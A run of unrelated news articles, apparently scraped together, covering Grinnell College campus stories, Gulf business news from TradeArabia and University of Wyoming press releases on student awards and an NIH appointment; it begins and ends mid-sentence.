stuff, said Burch-Brown. Throughout the different sections of Salt Marsh Suite, the projections on the screens will change to reflect the idea that is being portrayed through each movement. The data projection components of the production drives forward the meaning of the suite but serves as an additional performer in the piece. Its not like having an artistic idea and using technology to deliver it, Burch-Brown said. The technology is part of the actual piece itself at a deeper level. Salt Marsh Suite is comprised of an introduction focused on the tidal currents, and five subsequent suites: water, mud, crabs, birds and grasses. During each suite, the dancers em- body the movements of the represent- ed creature or part of nature. [Miller and I] didnt want to imitate the crabs Theres always a human or animal or fauna aura, and I think that thats what brings it together, said Kilkelly. The utilization of natural elements through both visual and em- bodied movement conveys the creators love and respect for nature. By Eva Hill hilleva@grinnell.edu It was recently announced that Windstream, a communications company headquartered in Little Rock, Arkansas, is planning to install fiber optic internet in Grinnell in the fall of 2019. This announcement was a surprise to many, not least because the City met with Windstream last year to discuss building a fiber-optic network, and at that time the company did not express interest in building one in Grinnell. Last week, The S&B reported on the prospect of fiber-optic internet coming to Grinnell, brought by the Mahaska Communications Group (MCG), based in Oskaloosa, Iowa. The timing of Windstreams announcement raises questions about their true motivations for bringing fiber to Grinnell and whether or not it was prompted by a fear of increased competition from MCG. Windstream, also known as Windstream Holdings, Inc. or Windstream Communication, filed for bankruptcy in February of this year after a federal court ruled that the company had violated bond agreements during the transition of its telecom assets to the spinoff company Uniti Group, Inc. In the ruling, Windstream was ordered to pay the plaintiff, hedge fund Aurelius Capital Management, $310.5 million, an amount that caused Windstream to file for bankruptcy. Later in February, the United States Bankruptcy Court for the Southern District of New York gave permission for Windstream to access up to $400 million of funds, available through the businesss Chapter 11 filing, to allow the business to continue to function while reorganizing its debts. The plan being discussed by MCG and the City involves making faster internet accessible to all residents of Grinnell (most major businesses already have their own internet service). The underground cable installation would occur in one neighborhood at a time in 2020 and continuing into 2021 if necessary. Windstream is promising sooner installation, fast service, reliability and affordable prices on the project, but the company doesnt necessarily have the towns favor. One potential issue with Windstreams current service plan is coverage. The company intends to use aerial fiber, or fiber strung between utility poles, to build the network. However, not all parts of Grinnell have nearby utility poles, which could lead to sections of the city being left without coverage under Windstream. Additionally, MCG is a local company, while Windstream is based in Arkansas, and MCG has spent more time in discussion with the City than Windstream due to the recent nature of Windstreams announcement of the project. Grinnell City Manager Russ Behrens said that the Citys intention is to find the company that will provide the most accessible and usable network to Grinnell. At the end of the day, our goal is not necessarily to support one over the other, its to provide the best broadband service to the community that we can, so thats what were trying to do, Behrens said. Behrens said that the timing of Windstreams announcement might be related to the citys discussions with MCG. Our job is to make sure that what theyre promising the community is clear, and that its actually followed through with. They very well may have every intention of doing that, but weve been talking to them for some time about our interest in improving fiber in Grinnell, and until MCG showed up, they had no interest. I think its an undeniable correlation. There isnt necessarily an either-or debate between the two companies. Both could start applying for permits to build a network at the same time. Behrens considers it to be the duty of the City to ensure that citizens of Grinnell are appropriately educated about their options. He said, At a minimum, we want to make sure people are well informed about what is truly happening. By Julia Anderson anderson14@grinnell.edu Grinnellians marry Grinnellians, or so rumor has it. According to who you ask, up to 60% of Grinnell students and alumni will end up marrying another Grinnellian (others claim the statistic is closer to 20 or 30%). Some couples meet during their shared time at the College, while many others meet long after graduation, able to bond over their common Grinnell experience. Shida Jing and Libby Farrell, both 19, are mere weeks away from joining this exclusive group of alumni. The two became engaged this semester and plan to get married in the afternoon of May 20, the same day as the Colleges commencement ceremony. Deanna Shorb, Dean of Religious Life, will officiate the wedding in Herrick Chapel. Though packing a graduation and a wedding into one day may seem ambitious to some, Farrell and Jing feel fortunate to have the opportunity to include their friends, family and other close members of the Grinnell community. The matter was just like when to do it, but we thought at graduation, all of our friends and family are going to be in one place. All of our friends are kind of from all over, and theyre going all over, so its kind of hard to get everyone in one place, said Farrell. The couple, who are both mathematics majors, met during their first year but did not begin dating until the spring of their third year. We first met in our first year in a mentor session of a math class. We didnt become friends until second year, where we took our first math class together. We became best friends, actually, with each other for a long time, said Jing. Before officially becoming engaged, Farrell and Jing discussed the possibility of marriage. I wasnt surprised when he proposed. We had been talking about it for a while, and we had been talking to our families about it as well, Farrell said. Even when we were just friends before we dated, sometimes we would half-jokingly be like, hey you know, I think were really compatible, if we someday got married, that wouldnt be a surprise, Jing added. Tristan Aschittino 18 and Alejandra Rodriguez Wheelock 17 are another engaged couple who met at Grinnell, in a philosophy class during Aschittinos first year and Rodriguez Wheelocks second year. After four years of dating, the two became engaged in March and plan to get married in December in Guatemala City, Rodriguez Wheelocks hometown. We had a philosophy class together then and I complimented her sunglasses while she was sitting in front of me. We stayed after class to view a 1651 first print of Hobbes Leviathan in Burling basement and then we walked to Noyce together. I asked her out then to get coffee at Saints Rest, a Grinnell tradition. She was intellectually curious and beautiful, and very intriguing, almost poetic with her language, wrote Aschittino in an email to The S&B. The couple has had to navigate challenges of long-distance dating at times, such as when Aschittino studied abroad in London and when Rodriguez Wheelock traveled for a year on a Watson Fellowship. They plan to move to the Twin Cities, Aschettinos hometown, soon and live together as a married couple. I think Grinnell helped give us the habit of dissecting the world around us and generating new perspectives on problems. This way of thinking, which we really used throughout our journey to get our philosophy degrees, helps us always have something to talk about and disagree in a constructive way. Also, the multi-cultural makeup of the student body helped us navigate having a relationship with different cultural backgrounds, since Tristan is American and I am Guatemalan. I am sure Grinnell showed us to ask the tough questions and see multiple perspectives, wrote Rodriguez Wheelock in an email to The S&B. Angela Matsuoka 04 and Rob Barron 02 overlapped in their time at Grinnell but did not connect on a level deeper than acquaintances until Barron returned to campus in January of 2003, visiting as an alum. We hit it off one night during his visit to The Pub, an off campus bar on Main Street. We got married in May 2005, at a small bed and breakfast on the Northern California coastline, wrote Matsuoka in an email to The S&B. For Matsuoka and Barron, the values and education they honed during their time at the College impacts both who they are as individuals and the way they interact as a married couple. We see the world and our roles in the world very similarly. We have different passions but both use our interests and vocations to serve others. We celebrate our Grinnell heritage whenever we think critically, act thoughtfully and communicate effectively in all facets of our lives. And now, as parents (to a six-year-old and one-year-old), we are able to pass on those shared values to a new generation, Matsuoka wrote. By Abraham Teuber teuberab@grinnell.edu For many LGBTQ+ students at Grinnell, the queer-friendly environment of the College may seem like an anomaly among a rural population often thought of as hostile to them. This semester, students in postdoctoral fellow AJ Lewiss Queer Oral Histories course are looking to change this perception by documenting the histories of LGBTQ+ Iowa residents. Lewis has previously conducted oral history research as a founder and coordinator of the New York City Trans Oral History Project, which documents the experience of transgender New Yorkers using a community-based, anti-oppression model. Lewis applied his experiences with the project to this course, which he is teaching for the first time this semester. While there is an abundance of scholarship discussing LGBTQ+ oral history, Lewis structured the class so that students actively practice research methods of oral history rather than just studying it. Students have conducted interviews with approximately 40 local Iowans who identify as members or active allies of the LGBTQ+ community to amass the interviews into an archive of queer oral histories. Oral history has been this method for documenting the histories of marginalized groups who arent preserved by dominant means of [archival]. Its been distinctly important for LGBTQ+ historians because so much of LGBTQ+ community life isnt preserved through formal institutional mechanisms, we get preserved through medical records and legal records, said Lewis. Students sought out interviewees, also known as narrators, by first speaking with people at the College with local LGBTQ+ connections. From there, they were referred to community members who then recommended other narrators, a process known as snowball sampling. Interviews are mostly conversational, allowing narrators to share any experiences or stories they wish, related to their identities as LGBTQ+ Iowans. Writing really disproportionately focuses on major metropolitan, mostly coastal cities in ways that eclipse often really robust LGBTQ+ community life in other areas of the country. That community life doesnt always look like community life in big cities. You get very different portraits of what LGBTQ+ experiences and issues look like when you focus on metropolitan regions, Lewis said. Students have involved many narrators, such as members of the Iowa Gay Rodeo Association, queer theorist Kevin Kopelson and gay country bands Lavender Country and Paisley Fields. Evan Hurst 21 said the class has impacted many students understanding of their identities as rural members of the LGBTQ+ community. This project has really helped me realize that Grinnell is not only gay on campus, its gay everywhere. A lot of people will paint rural areas in a really negative light, but its been really fun to hear narrators be like Yeah, I love my life here, its great, I have so many gay friends and a lot of accepting friends. The College sphere is a lot different from the sphere that is not connected to the College, but people are still able to find their niches, and I feel like thats kind of helpful for me and my own identity, Hurst said. Hannah Miller 20 also said the intimate nature of the interviews allows for the telling of the often difficult stories of LGBTQ+ people and for a connection between interviewer and interviewee, which comprises another goal of the project: to bridge the queer community at Grinnell and LGBTQ+ people across the state. Getting to talk with older queer folks from another generation has been probably the most personally rewarding thing for me in this project. I never knew any older queer folks growing up, and I feel like thats a fairly common experience for young queers making connections with older queer folks serves the dual purpose of helping us learn this history that we can feel connected to in some way, and also envisioning a future for ourselves which is so great, Miller said. On Sunday, May 12, at 3 p.m., the class will host a community forum and gathering to present the results of their project at Drake Community Library. Students and narrators will share their experiences through presentation and listening stations to provide guests with audio from the interviews. Art by young LGBTQ+ artists in the community will be on display for visitors to enjoy, as well as light refreshments. The archive is not yet complete, but progress thus far can be listened to at lgbtoralhistories.sites.grinnell.edu. Queer Oral Histories will be offered again next spring semester. Lewis hopes to make the project an ongoing one, which students can continue to contribute to through oral history research, due to its unconventional and rewarding format. Its hard for me to get excited about my own scholarship sometimes. I really feel very fortunate, and I am trying to be very aware of the position that Im in, getting to meet people and hear the stories of their lives and put those stories into an archive that will be here forever for other queer Iowans to listen to. Its been just so amazing and so rewarding to interact with real people and real stories and feel like the work that Im doing has some real historical significance, Miller said. By Audrey Boyle boyleaud@grinnell.edu This past weekend, Grinnell Colleges International Student Organization (ISO) hosted its annual Cultural Evening, which showcases performances from various cultures in the Harris Center. The event provides an opportunity for international students to celebrate their homes and share their culture with the Grinnell community. This year, the event was hosted by Elvira Nurmukhamedova 19 and Takshil Sachdev 19, who were selected to host the show by the ISO cabinet. Nurmukhamedova, who has participated in Cultural Evening in some capacity every year during her time at the College, said she valued the show for the opportunity it gives international students to celebrate their culture and show off their talents. Its kind of nice to show a piece of home to other people here on campus, so its great for the audiences as well to increase their awareness about other countries or cultures that are present here, she said. Sachdev also said that ISO and the Cultural Evening play an important role for students: I think its one of those things that makes international students feel very comfortable, very happy, and very proud. Its an evening of international students getting to own the space and do their thing. Behind the scenes, ISO Cultural Evening acts as a transitional period for the ISO cabinet. The 2019-20 cabinet, consisting of eight students elected by ISO in February 2019, worked together with the incumbent cabinet to coordinate the event. Planning the evening is an opportunity for new cabinet members to learn more about the ins and outs of their position from their predecessors. Vice president-elect Calvin Tang 20 said planning the event was really good for team-building as well between the new cabinet, its good to kind of see how everyone can work together. The two cabinets instituted a few changes to this years Cultural Evening. In preparation for the event, the cabinets had more rehearsals than in previous years, allowing the opportunity for more lighting and sound checks and for performers to rehearse their numbers on the Harris stage. Additionally, the cabinet renamed the portion of the show previously called the fashion show to the international apparel show after some students expressed discomfort with the original title, specifically with the implication that international students traditional apparel was simply fashion, potentially undermining the important cultural significance of the apparel being showcased. The cabinet also produced a short video, played at the beginning of Cultural Evening, that warned audience members against cultural appropriation and reminded them that Cultural Evening is more than just a performance to the students involved, it is an expression of identity and a space for respectful inter-cultural celebration. President-elect Ananya Munish 20 expressed that these changes indicated a change in ISO and at the College in general over the past few years. When I first got here, nobody was talking about things like maybe the fashion show is slightly tokenizing, or dont call these outfits costumes. My first year it didnt matter, and nobody even brought it up. In just two years that whole idea has changed, Munish said. After Saturdays Cultural Evening, the new cabinet members will organize one more study break event before the end of the semester, which will be the first event organized completely by the new cabinet. Munish, who previously served on the 2017-18 ISO cabinet as a Social Coordinator, anticipates her experience with ISO will give the cabinet an edge for the upcoming year, as she feels primed for everything thats coming ahead. One of Munishs goals for the upcoming year is to establish an international alumni network with the Center for Careers, Life, and Service (CLS). Systematically, its becoming more and more difficult for international students to network and stay in the country. Its come to the point where peoples goals are to find what keeps them in the country versus to do what they love, she said. Munish, who also works with the CLS, hopes to create a resource for international students to share their work experiences with their peers looking for jobs. Treasurer-elect Shuhan Yi 22 also expressed excitement for his position Yi said he looked forward to cultivating his ability to be a leader and be considerate of different communities and how to balance their budget needs. The ISO cabinet also hopes to continue to use ISOs resources and platform to support multicultural organizations on campus and to highlight international cultures that may not have been highlighted in the past. Specifically, the cabinet intends to hold an event next year for international students who are one of the few students at Grinnell from their home countries. To stay up to date with ISOs events, like them on Facebook at https://www.facebook.com/GrinnellISO/. By Nora Paul paulnora@grinnell.edu At Grinnell Christian Fellowships weekly prayer, each Wednesday begins with hopes and sentiments that students bring with them to share. The last few weeks have included prayers for the strength of those suffering in Sri Lanka, the families of victims in New Zealand, the people of Paris and the quick recovery of the injured in Louisiana. Attacks on places of worship, while not uncommon, have shaken the international community in recent weeks. On Friday, March 12, New Zealand experienced their most fatal mass shooting to date. A rifle-wielding gunman opened fire at two Christchurch mosques, killing 49 people and injuring almost 40 during Friday prayers. The shooter had reportedly posted a manifesto on social media stating his intentions to target Muslim people. He then live-streamed the rampage. New Zealand passed legislation as a response of these attacks. Similar shock swept Sri Lanka on Easter Sunday as the bombings of two churches constituted the countrys deadliest violence in a decade. Sri Lankan officials inculpated a local Muslim militant group, National Thowheed Jamaath, for the 290 people killed and 500 injured. Christians in Sri Lanka and throughout Europe felt the impact of the violence as it touched not only those attending the churches, but all those who shared the attendees faith. Kirtimay Pendse 19 heard about the bombings that happened in Colombo, where his parents currently live. From phone conversations with his parents and friends, he gained glimpses into the tragic situation. People are scared they are suddenly being thrown into a state of war, said Pendse. As religious spaces are a safe haven to many people, the notion of their unsafety conjures up histories of tension and persecution, and serves as a reminder of systems of oppression, that currently shape religious life for different groups around the world. Interreligious tensions have been building up for years but now that they have culminated in a terror attack, this dialogue starts to happen, Pendse said, regarding the bombings in Sri Lanka. These events thrust religious identities into the public sphere, and bring to light how tightly religious practice is tied to history, politics, geography and demographics, instead of just being contained in the physical spaces in which people worship. Yanni Tsandilas 20, who practices Christianity in the Greek Orthodox tradition, described how political conditions in certain regions of the world deter the expression of his religion. Mentioning the bombings of two Orthodox churches in Egypt on Palm Sunday of 2017, he said, I dont need these attacks to draw my mind to the dangers that people of religious identity, in particular Orthodox Christians, [face when] practicing their faith. Responses to these events in have also been steeped in greater political and social forces, particularly in the case of Sri Lanka, which is currently seeing explosions of violence that are forcing many Muslims to flee the country. Unfortunately a lot of the rhetoric that I see, in particular around Christchurch and Sri Lanka, is really aimed at portraying Islam as a fundamentally hateful religion, said Tsandilas. And instead of aiming to be productive in rebuilding these communities and helping them move forward its stigmatizing a group in an unjust way. Islam has also been targeted in Sri Lankan policy efforts to ban the wearing of burqas. Pendse drew a parallel to Western Europe in recent years, in which such a law was put into effect, directly and indirectly criminalizing that entire religion. The bombings in Sri Lanka compounded with fallout from the Notre Dame fire to raise worldwide claims from Christians that their religion is under siege. However, Pendse rebuked such generalizations, saying, Lives of people have been lost, you know, its not just Muslims have killed Christians people have died. That should be your first response. Both Pendse and Tsandilas noted the importance of acknowledging the unique humanity of victims outside their religious background, and the intersectionality of the practitioners of a certain faith around the world. Although these attacks all targeted places of worship and many of them were outbreaks of underlying religious tensions, Pendse urged people not to vindicate religion as the sole perpetrator. I think its important to keep in mind that the attacks that are being carried out in the name of religion is not representative of what the actual religion stands for. He said, [These attacks] have not actually lessened what religion stands for for me personally if anything, I think its become more important to talk about it. Tsandilas described the use of prayer and religious solidarity to heal, and to allow one to be sympathetic towards the similar circumstances that people of other religious traditions find themselves in. Going forward, Pendse highlighted the importance of keeping this alive in our public memory because this is not something that will just blow over; its going to have long-lasting ramifications in the country and globally as well. The destruction of these physical homes of worship recalls to many their purpose, prompting calls to create spaces for discussion and congregation that extend beyond religious walls. This is terribleis not where discussion should stop, Pendse said. Astana International Financial Centre (AIFC) has appointed Sheikh Bilal Khan as its chief Islamic finance officer. AIFC is a financial hub for Central Asia, the Caucasus, Eurasian Economic Union (EAEU), the Middle East, West China, Mongolia and Europe. This appointment highlights AIFCs confidence in the growth potential of Islamic finance in these markets, said a statement. Khan already holds several positions in the AIFC including being member of the AIFC Advisory Council on Islamic Finance and Panel Arbitrator at the AIFC International Arbitration Centre after being appointed by the chairman Barbara Dohmann QC, it said. He is a special adviser to several presidents and prime ministers offices and serves on multi-lateral, government and quasi-government advisory boards. Khan also acts as secretary-general of Malta Islamic Finance Association, partner and global head of Islamic Finance at the international law firm McCarthy Denning and co-chairman of Dome Advisory. He is uniquely positioned as an award-winning Shariah Scholar and a Solicitor of the Senior Courts of England and Wales after qualifying as an English lawyer from a Magic Circle English law firm in the City of London. Khan is a Freeman of the City of London which is the highest honour given for contribution to the City of London. He has received numerous industry and lifetime achievement awards as well as featuring in TV documentaries such as the series Secrets of Success which is now showing on British Airways. Khan is also known for public speaking at international conferences, lecturing at leading British universities and contributing in electronic and press media, it stated. TradeArabia News Service The Company for Cooperative Insurance (Tawuniya), Saudi Arabia's leading insurance firm, has partnered with global health tech company Vitality Group to develop and launch its first Shared-Value Insurance product in the kingdom. Part of Discovery Group, Vitality operates its Shared-Value Insurance model in 19 countries. The agreement, signed during the Financial Sector Conference held in Riyadh from April 24-25, will allow Tawuniya customers to enjoy the benefits and services of the Vitality health and wellness program and join millions of members worldwide. The signing ceremony was attended by the chief executive officer of Tawuniya, Abdulaziz Hassan Al-Boug; CEO of Vitality Group International, Barry Swartzberg; and the chairman of Tawuniya, Soliman S. Al-Humayyd. Al-Boug expressed his pleasure for signing this agreement. He said: "Tawuniya, as a leading insurance company and an expert in understanding the insurance market and customers needs, realised early on that the business model currently applied in the medical insurance operations needs to be developed to commensurate with the change in the demands of the whole society, coupled with technological development." Vitality enables health improvement for more than 10 million clients in different countries, through their engagement in the programme and the additional rewards that encourage healthy behaviour. These health improvements result in lower risks for illness and premature death among clients, a healthier society and long-term insurance savings for the insurer. The program based on behavioural science and sophisticated digital health technology is independently verified by leading academic institutions around the globe, he noted. Al-Boug pointed out that shifting from the traditional concepts of health insurance to a shared-value insurance model with the Vitality Programme aims at improving the behaviour of individuals. "This programme provides a shared value between the customers and insurance companies, which improves the health level of the insured persons in general. This adds value to the community and thus contributes to reducing the cost of insurance for Tawuniya customers and enhances the control of the amounts of medical claims for the insurance sector," Al-Boug said. Vitality Group CEO Swartzberg also expressed his pleasure regarding the strategic partnership, saying: Vitalitys core purpose is to make people healthier and enhance and protect their lives. We welcome the opportunity to work with Tawuniya to improve the health and wellness of their people." "With millions of members worldwide, Vitality is committed to expanding its shared-value insurance model into new markets, said Swartzberg. - TradeArabia News Service Dubai World Trade Centre (DWTC) hosted a record 3.43 million delegates for the first time in its history in 2018 with visitation growth of 4 per cent year-on-year. The results, announced by Sheikh Ahmed bin Saeed Al Maktoum, deputy chairman of the Board of Dubai World Trade Centre Authority (DWTCA), were driven by 363 Mice (Meetings, Incentives, Conferences and Exhibitions) and business events a notable 3 per cent increase over 2017 of which 97 were large-scale events. Aligned with Dubais progress towards a knowledge-based economy, top-performing events reflected steady growth across key sectors identified within the UAE Vision 2021 national diversification agenda, equally reflecting the strong return on investment witnessed by show participants across these sectors. Chairing the Dubai World Trade Centre Authoritys Annual Board Meeting, Sheikh Ahmed reviewed the companys 2018 results and its strategic plans for future growth and expansion. Members of the Board in attendance at the session included Buti Saeed Al Ghandi; Ziad Abdulla Galadari; Abdulla Mohammed Rafia; Khalifa Suhail Al Zaffin; Saoud Ibrahim Obaidalla; Abdulrahman Mohammed Rashid Al Sharid; and Helal Saeed Almarri, director general, DWTCA and Dubai Department of Tourism and Commerce Marketing (DTCM) and CEO of DWTC. In his address to the board, Sheikh Ahmed said: This year marks 40 years since the opening of the Dubai World Trade Centre and the iconic Sheikh Rashid Tower, which was forged by the ground-breaking vision of our citys founding father, Sheikh Rashid bin Saeed Al Maktoum. As we remain future-focused with the aim to make Dubai the most innovative city in the world, DWTC will continue to play a central role in fuelling innovation across all sectors, driving destination competitiveness, and creating future economic opportunities for both, Dubai and the global community. The year-on-year footfall increase was a reflection of the strength of DWTCs entire business portfolio in its ability to attract 54,717 exhibiting companies from 162 countries, of which 41,147 were foreign exhibitors (5 per cent increase from 2017), accounting for 75 per cent of total exhibitor participation. DWTC has been able to build on the success of 2017 by continuing to assert its regional leadership and impactful contributions in the international Mice sector and by leveraging Dubais strategic positioning as a powerful international convening platform for business and trade enablement, fuelling investment and expansion opportunities across industry verticals throughout the wider EMEASA region. With strong international participation in 2018, DWTC welcomed 1.04 million foreign business travellers to Dubai, representing 41 per cent of its overall participant volumes. Throughout 2018, DWTC continued to aid Dubais destination competitiveness with the development of critical event-related infrastructure and successfully succeeded in spurring growth within its key source markets. The primary source for attendees continued to be dominated by the proximity markets and Europe, namely Saudi Arabia, India, Oman, China, Egypt, Turkey, UK, Germany, Italy and Kuwait, ranked in order of participant volume. While several of the non-regional markets moved up in their ranking in 2018, Italy entered the Top 10 business visitor source country list for the very first time. Growth across key sectors aligned with national diversification agenda DWTCs scalable and content-rich events calendar added 28 new entrants including seven exhibitions, nine associations and 12 conferences in 2018, of which 13 were categorised as large scale events with more than 2,000 attendees. Overall, DWTCs 97 large-scale events attracted 2.5 million participants, 23 of which were classified as mega-events and attracted over 30,000 attendees per event. Throughout 2018, DWTC continued to demonstrate its ability to meet the demands of the global Mice sector across a range of high-performing sectors including healthcare, science, F&B, hospitality, technology, energy and environment. Healthcare, medical and science In alignment with the UAE vision and Dubai Plan 2021, the Dubai Health Strategy aims at transforming Dubai into a leading healthcare destination by promoting public and private participation in the sector and enhancing Dubais competitiveness as a global medical destination. DWTC hosted 22 events in the healthcare, medical and science sector in 2018, including seven new events. Total visitor participation in this sector grew by 7 per cent from 419,217 in 2017 to 449,098 in 2018. Mega-event Arab Health, the largest medical exhibition and conference in the Middle East, topped the sectors figures with a 3 per cent increase in exhibiting companies, while Dubai Derma recorded a 29% increase in foreign visitors. Hospitality, food and catering The hospitality, food and catering sector once again rallied strong, reflecting the criticality of the industry and the far-reaching impact that its sustainability bears on global society. With 10 events collectively witnessing a robust double-digit surge in the number of participants, the portfolio was up 32 per cent in its visitation volumes from 325,438 in 2017 to 428,183 in 2018. Dominating the hospitality sector, as always, Gulfood, the worlds largest show for food business professionals and suppliers, attracted close to a 100,000 visitors, its strongest performance to-date. Meanwhile, the regional and global F&B manufacturing industry convened at Gulfood Manufacturing, which witnessed a 4 per cent increase in exhibiting companies from 1,543 in 2017 to 1,600 in 2018. Gulf Host, hospitality equipment and food service expo attracted significant interest with an impressive 25,000 visitors, up 144 per cent from 2017. Travel and tourism With Dubais global positioning as the #4 most visited city in the world and travel and tourism driving 5.1 per cent of the UAEs GDP, the sector continued to be a major focus in 2018. Arabian Travel Market, the leading global event for the Middle East inbound and outbound travel industry, welcomed around 39,000 visitors while the Hotel Show had a strong showing with over 30,000 attendees. Information communications and technology One of the fastest growing and most disruptively transforming sectors across the world, ICT continued to remain a priority feature of the DWTC Calendar with 13 shows recording 42 per cent growth in the number of participants across events from 226,708 in 2017 to 321,871 in 2018. These growth figures are reflective of Dubais visionary leadership to pioneer innovation, enable sustainable shared economic development and create a platform for continuous knowledge sharing and start-up empowerment. Flagship mega-show GITEX Technology Week and GITEX Future Stars, the regions premier technology and start-up events, showcasing game-changing innovations and the most illustrious investor and start-up gatherings, retained its ascendancy as it welcomed over 150,000 participants (4 per cent growth year-on-year), out of which approximately 40 per cent were foreign visitors with over 5,000 exhibiting companies. The new ICT event entrants in the calendar included the inaugural Future Blockchain Summit, which attracted significant interest with an impressive 14,000 visitors. Energy and environment Showcasing the UAEs progress to a sustainable future, the 20th WETEX and third Dubai Solar Show, a regional showcase of the latest developments in conventional energy and renewables reported 2,100 exhibitors and 35,088 visitors, a 10 per cent increase over 2017. Middle East Electricity Exhibition attracted 62,567 visitors, of which nearly half were from international markets. Corporate portfolio drives synergistic value and sustainable future growth Throughout 2018, DWTC continued to carry out critical event-related infrastructure upgrades and introduced a number of new facilities across its assets to enhance the experience of business travellers to the exhibition complex. DWTC saw the completion of Offices 4 and 5 in One Central, Dubais newest business district located within the DWTC complex, offering an integrated residential, commercial and hospitality destination, ahead of schedule in December 2018, marking the conclusion of the commercial aspect of the mixed-use destination. DWTC also continued to extend its successes throughout Dubai through its role in the development of the Expo Village and the new Dubai Exhibition Centre (DEC) at the Expo 2020 site. DWTCs position as a global innovation leader in the MICE sector continues to be enhanced by the scaling up of strategic events within its calendar both through the introduction of novel formats, niche segments and new events, as well as the development of the scalable, flexible content for its existing event portfolio. By harnessing new technologies and future-proofing DWTCs businesses by setting the gold standard in digital innovation, DWTC is able to deliver the ultimate, integrated, game-changing business destination experience, not just for 2019 but equally ensuring that we pioneer the evolutionary journey of the global MICE business as we look to the future, said Almarri. - TradeArabia News Service Sweetwater County Students Named UWs Outstanding Undergraduates Jess Fahlsing Jess Fahlsing, from Rock Springs, and Dylan Rust, of Green River, are the recipients of the University of Wyomings highest honor as top graduating seniors. The two Sweetwater County students are the winners of the Rosemarie Martha Spitaleri and Tobin Memorial Award, which recognizes the most outstanding graduates from the 2018-19 undergraduate class. The award is based on academic excellence and achievement, service to the university, participation and leadership in the community and campus activities, and citizenship qualities. Fahlsing, who will graduate in May with a Bachelor of Science degree in psychology and a Bachelor of Arts in gender and womens studies, as well as minors in honors, creative writing and queer studies, carries a 3.97 grade-point average. Fahlsings parents are Sue and Paul Fahlsing, of Rock Springs. One nominator says Fahlsing has grown to become an active member of campus, and it is Fahlsings service work that stands out among all nominees. I have known Jess since the first semester at the University of Wyoming, and it has been an honor and a pleasure to watch Jess grow over the past years, from a rather reticent and uncertain freshman to an engaged, active and dedicated member of the community, both on and off campus, says Erin Abraham, an Honors College visiting assistant professor. This past year, Fahlsing was the co-chair of the Matthew Shepard Memorial Group and served on the Shepard Symposium on Social Justice and the Martin Luther King Jr. Days of Dialogue committees. Fahlsing serves as a mentor for the Honors College, a leading facilitator of Laramies PrideFest, and is an active member of Wyoming Equality, Spectrum and the United Multicultural Council. Fahlsing also is a member of UWs Council on Diversity, Equity and Inclusion. After taking time off from studies to contemplate future plans, Fahlsing returned with added focus the last few years, Abraham says. Jess has grown in the process to become an important and valuable member of our community, whose dedication has improved the lives of so many, from students to faculty to the wider Laramie community, she adds. Emily Monago, UWs chief diversity officer, admires Fahlsings ability to connect with, and engage and motivate broad audiences of people. What strikes me most is Jess willingness to work hard to bring ideas from thoughts to action or implementation. Jess is highly motivated about learning to help others be successful and to move society toward creating a world free of hate, harassment and discrimination against any individual or group, regardless of their social identities, Monago says. Fahlsing says leadership roles have made it possible to give back to the community, which contributes to bringing an intersectional framework of social justice. I never expected to be where I am today, in terms of my hardships, failures and even my successes, Fahlsing says. Throughout it all, I try to center around love. My experiences of leadership, contribution and scholarship at UW enabled me to become the person I am today. Dylan Rust Rust will graduate with a 4.0 grade-point average and is a molecular biology/physiology major, with honors and psychology minors. Rusts parents are Shelley and Pete Rust, of Green River. Nominator Pamela Langer, a UW molecular biology associate professor, says Rust plans to become a surgeon, specializing in kidney transplantation. Dylan distinguished early as one of the most mature, motivated and strategic freshmen who have entered our molecular biology program, Langer says. Dylans goal was to become a physician firmly grounded in the latest medical technologies while participating in health care policy decisions. Rust has prepared for a medical career by engaging in research through the Wyoming IDeA Networks of Biomedical Research Excellence (INBRE) program. Rust was a molecular biology research fellow, plus being selected for two highly competitive summer programs at the Perelman School of Medicine, University of Pennsylvania; and at Harvard Medical School as a kidney medicine fellow, both as an undergraduate. The Green River natives rigorous pursuit of research opportunities is a significant part of why Rust is the recipient of UWs top undergraduate award, according to another nominator. I have written Dylan a number of recommendations and references over the past four years, but this is the one I am most excited to provide, because it marks a culminating point in what has been a tremendously successful undergraduate career, Abraham says. She also praises Rusts consistent commitment to volunteer work and extracurricular activities. Rust has been actively involved with Big Brothers/Big Sisters, working with the same little brother, and also is involved in service work through UWs Mortar Board and as a wellness ambassador. These efforts involve many of the same leadership skills Dylan uses in other roles but, perhaps more importantly, serve as evidence of Dylans character and integrity, Abraham adds. UW has afforded Rust the opportunity to grow personally and professionally. I have applied to medical schools and have been fortunate to interview at a number of top-ranked institutions, and should be hearing decisions soon, Rust says. I hope to represent the University of Wyoming well as I continue my education and throughout my career in medicine. While at UW, Rust also has developed lasting relationships that he hopes will impact others. While academics are very important to me, and I strived to do well, it was the relationships that I formed with faculty, staff and other students that have made my experience here exceptional, Rust adds. UW has given me so much, and I feel that I have been able to give something back during my time here as well. UWs David Fay Named to NIHs Center for Scientific Review Study Section David Fay, a UW professor of molecular biology, has been accepted as a member of the Development 1 Study Section, Center for Scientific Review at the National Institutes of Health. Study sections are made up of practicing scientists around the country who review grants and write detailed critiques for each. Fay will serve from 2019-2023. (Braveen Joseph Photo) A University of Wyoming molecular genetics researcher will help the National Institutes of Health (NIH) with reading and assessing grant submissions for the next few years. David Fay, a UW professor in the Department of Molecular Biology, has been accepted as a member of the Development 1 Study Section, Center for Scientific Review at NIH. Study sections are made up of practicing scientists around the country. Fay will serve for a term beginning July 1 and ending June 30, 2023. Members are selected on the basis of their demonstrated competence and achievement in their scientific disciplines, as evidenced by the quality of research accomplishments, publications in scientific journals and other significant scientific activities, achievements and honors. Their job is to provide a rigorous and fair review process so that well-informed funding decisions can be made. Usually only a small percentage, 10 to 20 percent, of the grants are funded from each round, so its very competitive, Fay says. When a scientist from UW submits a standard NIH grant, they are competing with a strong pool of scientists from around the country. Study sections typically review grants three times a year, and panels are made up of 12-16 scientists, plus several NIH administrators. Fay says about half of the scientists on the study section are permanent members, meaning they serve four-year terms and come to every meeting. The other half are ad-hoc members. Ive done a lot of ad-hoc meetings for various sections over the years, he says. If youre funded by NIH, you can expect to do some ad-hoc reviewing for them at some point. The NIH funds the large majority of health-related research carried out by academic labs around the country. The agencys total budget is about $35 billion for 2019. Faculty members apply for grants through the NIH. Each grant goes to a specific study section that has expertise in that area of research. Last year, Thomas Beres -- an NIH administrator for whom Fay served as an ad-hoc member in the past -- asked Fay if he would be willing to serve as a permanent member of his study section, DEV1, which focuses on the molecular and cellular mechanisms that underlie animal development. Panel members are nominated and approved following consultations with other current and former members of the study section, as well as scientists around the country. While grateful for the opportunity, Fay says this appointment means a lot of extra work. For starters, Fay will be required to attend three meetings each of the next four years. To prepare for these meetings, Fay says a member is typically assigned 